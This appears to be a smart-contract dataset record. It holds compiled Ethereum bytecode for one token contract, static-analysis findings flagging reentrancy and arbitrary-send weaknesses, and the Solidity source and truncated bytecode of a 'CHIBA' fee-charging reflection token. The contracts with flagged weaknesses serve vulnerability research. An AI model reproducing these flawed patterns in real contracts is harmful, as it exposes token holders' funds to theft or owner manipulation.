480156102da57600080fd5b506000546040516001600160a01b039091168152602001610166565b34801561030257600080fd5b5061020661063c565b34801561031757600080fd5b5061018f61032636600461177c565b61087b565b34801561033757600080fd5b506102066103463660046117a8565b610888565b34801561035757600080fd5b5061020661091a565b34801561036c57600080fd5b5061020661095a565b34801561038157600080fd5b506101b8610390366004611702565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c8338484610b31565b5060015b92915050565b60006103df848484610c55565b610431843361042c85604051806060016040528060288152602001611aea602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f98565b610b31565b5060019392505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b815260040161046590611953565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104b95760405162461bcd60e51b815260040161046590611953565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105015760405162461bcd60e51b815260040161046590611953565b600b5481111580156105155750600c548211155b1561052557600c829055600b8190555b5050565b6000546001600160a01b031633146105535760405162461bcd60e51b815260040161046590611953565b4761055d81610fd2565b50565b6001600160a01b0381166000908152600260205260408120546103cc9061100c565b6000546001600160a01b031633146105ac5760405162461bcd60e51b815260040161046590611953565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106205760405162461bcd60e51b815260040161046590611953565b681043561a882930000082111561052557601091909155601155565b6000546001600160a01b031633146106665760405162461bcd60e51b815260040161046590611953565b600f54600160a01b900460ff16156106c05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610465565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072057600080fd5b505afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075891906116e5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d891906116e5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082057600080fd5b505af1158015610834573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085891906116e5565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103c8338484610c55565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161046590611953565b60005b8151811015610525576001600660008484815181106108d6576108d6611a9a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091281611a69565b9150506108b5565b6000546001600160a01b031633146109445760405162461bcd60e51b815260040161046590611953565b600061094f30610560565b905061055d81611090565b6000546001600160a01b031633146109845760405162461bcd60e51b815260040161046590611953565b600e546109a69030906001600160a01b031669152d02c7e14af6800000610b31565b600e546001600160a01b031663f305d71947306109c281610560565b6000806109d76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3a57600080fd5b505af1158015610a4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7391906118d0565b5050600f8054681043561a8829300000601055683635c9adc5dea0000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055d9190611891565b6001600160a01b038316610b935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b038216610bf45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b038216610d1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b60008111610d7d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610465565b6001600160a01b03831660009081526006602052604090205460ff1615610da357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610de557506001600160a01b03821660009081526005602052604090205460ff16155b15610f88576000600955600c54600a55600f546001600160a01b038481169116148015610e205750600e546001600160a01b03838116911614155b8015610e4557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e5a5750600f54600160b81b900460ff165b15610e95576000610e6a83610560565b9050601054821115610e7b57600080fd5b601154610e888383611219565b1115610e9357600080fd5b505b600f546001600160a01b038381169116148015610ec05750600e546001600160a01b03848116911614155b8015610ee557506001600160a01b03831660009081526005602052604090205460ff16155b15610ef6576000600955600b54600a555b6000610f0130610560565b600f54909150600160a81b900460ff16158015610f2c5750600f546001600160a01b03858116911614155b8015610f415750600f54600160b01b900460ff165b15610f86576000610f53600683611a11565b9050610f5f8183611a52565b9150610f6a81611278565b610f7382611090565b478015610f8357610f8347610fd2565b50505b505b610f938383836112ae565b505050565b60008184841115610fbc5760405162461bcd60e51b815260040161046591906118fe565b506000610fc98486611a52565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610525573d6000803e3d6000fd5b60006007548211156110735760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610465565b600061107d6112b9565b905061108983826112dc565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d8576110d8611a9a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112c57600080fd5b505afa158015611140573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116491906116e5565b8160018151811061117757611177611a9a565b6001600160a01b039283166020918202929092010152600e5461119d9130911684610b31565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d6908590600090869030904290600401611988565b600060405180830381600087803b1580156111f057600080fd5b505af1158015611204573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061122683856119f9565b9050838110156110895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610465565b600f805460ff60a81b1916600160a81b179055801561129e5761129e3061dead83610c55565b50600f805460ff60a81b19169055565b610f9383838361131e565b60008060006112c6611415565b90925090506112d582826112dc565b9250505090565b600061108983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611459565b60008060008060008061133087611487565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136290876114e4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113919086611219565b6001600160a01b0389166000908152600260205260409020556113b381611526565b6113bd8483611570565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140291815260200190565b60405180910390a3505050505050505050565b600754600090819069152d02c7e14af680000061143282826112dc565b8210156114505750506007549269152d02c7e14af680000092509050565b90939092509050565b6000818361147a5760405162461bcd60e51b815260040161046591906118fe565b506000610fc98486611a11565b60008060008060008060008060006114a48a600954600a54611594565b92509250925060006114b46112b9565b905060008060006114c78e8787876115e9565b919e509c509a509598509396509194505050505091939550919395565b600061108983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f98565b60006115306112b9565b9050600061153e8383611639565b3060009081526002602052604090205490915061155b9082611219565b30600090815260026020526040902055505050565b60075461157d90836114e4565b60075560085461158d9082611219565b6008555050565b60008080806115ae60646115a88989611639565b906112dc565b905060006115c160646115a88a89611639565b905060006115d9826115d38b866114e4565b906114e4565b9992985090965090945050505050565b60008080806115f88886611639565b905060006116068887611639565b905060006116148888611639565b90506000611626826115d386866114e4565b939b939a50919850919650505050505050565b600082611648575060006103cc565b60006116548385611a33565b9050826116618583611a11565b146110895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610465565b80356116c381611ac6565b919050565b6000602082840312156116da57600080fd5b813561108981611ac6565b6000602082840312156116f757600080fd5b815161108981611ac6565b6000806040838503121561171557600080fd5b823561172081611ac6565b9150602083013561173081611ac6565b809150509250929050565b60008060006060848603121561175057600080fd5b833561175b81611ac6565b9250602084013561176b81611ac6565b929592945050506040919091013590565b6000806040838503121561178f57600080fd5b823561179a81611ac6565b946020939093013593505050565b600060208083850312156117bb57600080fd5b823567ffffffffffffffff808211156117d357600080fd5b818501915085601f8301126117e757600080fd5b8135818111156117f9576117f9611ab0565b8060051b604051601f19603f8301168101818110858211171561181e5761181e611ab0565b604052828152858101935084860182860187018a101561183d57600080fd5b600095505b8386101561186757611853816116b8565b855260019590950194938601938601611842565b5098975050505050505050565b60006020828403121561188657600080fd5b813561108981611adb565b6000602082840312156118a357600080fd5b815161108981611adb565b600080604083850312156118c157600080fd5b50508035926020909101359150565b6000806000606084860312156118e557600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561192b5785810183015185820160400152820161190f565b8181111561193d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119d85784516001600160a01b0316835293830193918301916001016119b3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0c57611a0c611a84565b500190565b600082611a2e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4d57611a4d611a84565b500290565b600082821015611a6457611a64611a84565b500390565b6000600019821415611a7d57611a7d611a84565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461055d57600080fd5b801515811461055d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122025f5d5cd6c3868e6fe622c53d0a0b51b2666b65752f341be20915ecd270f834b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,927 |
0xbfd8277d580531d94636ab98a7322eed70f7aa47
|
/**
* CHIBA (Cannabis Shiba)
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private _totalSupply = 10000 * 10**6 * 10**18;
string private _name = 'Chiba.Finance';
string private _symbol = 'CHIBA';
uint8 private _decimals = 18;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private giveawayWallet;
uint256 private constant MAX = ~uint256(0);
uint256 private _supplyRemaining = (MAX - (MAX % _totalSupply));
uint256 private _holdersRewards = 0;
uint256 private _rholdersRewards = 0;
constructor (address _giveawayWallet) {
giveawayWallet = _giveawayWallet;
_balances[_msgSender()] = _supplyRemaining;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _holderBalance(_balances[account]);
}
function giveawayWalletBalance() public view returns (uint256) {
return _holderBalance(_balances[giveawayWallet]);
}
function holdersRewards() public view returns (uint256) {
return _rholdersRewards;
}
function _holderBalance(uint256 accountBalance) private view returns(uint256) {
require(accountBalance <= _supplyRemaining, "Amount must be less than total supply");
uint256 currentRate = _getRate();
return accountBalance.div(currentRate);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
uint256 currentRate = _getRate();
uint256 amountAdjusted = amount.mul(currentRate);
require(senderBalance >= amountAdjusted, "ERC20: transfer amount exceeds balance");
(uint256 transferAmount, uint256 _giveawayRewards, uint256 _holdersRewardsAmount) = _transferFee(amount);
//set balances for sender and recipient
_balances[sender] = _balances[sender].sub(amountAdjusted);
_balances[recipient] = _balances[recipient].add(transferAmount.mul(currentRate));
//giveaway rewards
uint256 _giveawayRewardsAdjusted = _giveawayRewards.mul(currentRate);
_balances[giveawayWallet] = _balances[giveawayWallet].add(_giveawayRewardsAdjusted);
//redistribution to holders
uint256 _holdersRewardsAmountAdjusted = _holdersRewardsAmount.mul(currentRate);
_holdersRewards = _holdersRewards.add(_holdersRewardsAmountAdjusted);
_rholdersRewards = _rholdersRewards.add(_holdersRewardsAmount);
_supplyRemaining = _supplyRemaining.sub(_holdersRewardsAmountAdjusted);
emit Transfer(sender, recipient, transferAmount);
}
function _transferFee(uint256 transferAmount) private pure returns (uint256, uint256, uint256) {
uint256 _holdersRewardsAmount = transferAmount.mul(4).div(100);
uint256 _giveawayRewards = transferAmount.mul(2).div(100);
transferAmount = transferAmount.sub(_holdersRewardsAmount);
transferAmount = transferAmount.sub(_giveawayRewards);
return (transferAmount, _giveawayRewards, _holdersRewardsAmount);
}
function _getRate() private view returns(uint256) {
return _supplyRemaining.div(_totalSupply);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610468578063a9059cbb146104cc578063dd62ed3e14610530578063f2fde38b146105a857610100565b806370a082311461034f578063715018a6146103a75780638da5cb5b146103b157806395d89b41146103e557610100565b806323b872dd116100d357806323b872dd14610228578063313ce567146102ac57806339509351146102cd5780634409f6b71461033157610100565b8063047d0f061461010557806306fdde0314610123578063095ea7b3146101a657806318160ddd1461020a575b600080fd5b61010d6105ec565b6040518082815260200191505060405180910390f35b61012b6105f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f2600480360360408110156101bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610698565b60405180821515815260200191505060405180910390f35b6102126106b6565b6040518082815260200191505060405180910390f35b6102946004803603606081101561023e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c0565b60405180821515815260200191505060405180910390f35b6102b46107ce565b604051808260ff16815260200191505060405180910390f35b610319600480360360408110156102e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e5565b60405180821515815260200191505060405180910390f35b610339610888565b6040518082815260200191505060405180910390f35b6103916004803603602081101561036557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b6040518082815260200191505060405180910390f35b6103af61094a565b005b6103b9610ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ed610af9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042d578082015181840152602081019050610412565b50505050905090810190601f16801561045a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104b46004803603604081101561047e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9b565b60405180821515815260200191505060405180910390f35b610518600480360360408110156104e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c9c565b60405180821515815260200191505060405180910390f35b6105926004803603604081101561054657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cba565b6040518082815260200191505060405180910390f35b6105ea600480360360208110156105be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d41565b005b6000600a54905090565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561068e5780601f106106635761010080835404028352916020019161068e565b820191906000526020600020905b81548152906001019060200180831161067157829003601f168201915b5050505050905090565b60006106ac6106a5610f4c565b8484610f54565b6001905092915050565b6000600154905090565b60006106cd84848461114b565b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610718610f4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611b446028913960400191505060405180910390fd5b6107c2856107ba610f4c565b858403610f54565b60019150509392505050565b6000600460009054906101000a900460ff16905090565b600061087e6107f2610f4c565b848460066000610800610f4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401610f54565b6001905092915050565b60006108f460056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611631565b905090565b6000610943600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611631565b9050919050565b610952610f4c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b915780601f10610b6657610100808354040283529160200191610b91565b820191906000526020600020905b815481529060010190602001808311610b7457829003601f168201915b5050505050905090565b60008060066000610baa610f4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611bda6025913960400191505060405180910390fd5b610c91610c88610f4c565b85858403610f54565b600191505092915050565b6000610cb0610ca9610f4c565b848461114b565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d49610f4c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611ab56026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611bb66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611adb6022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b916025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611257576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611a926023913960400191505060405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffffff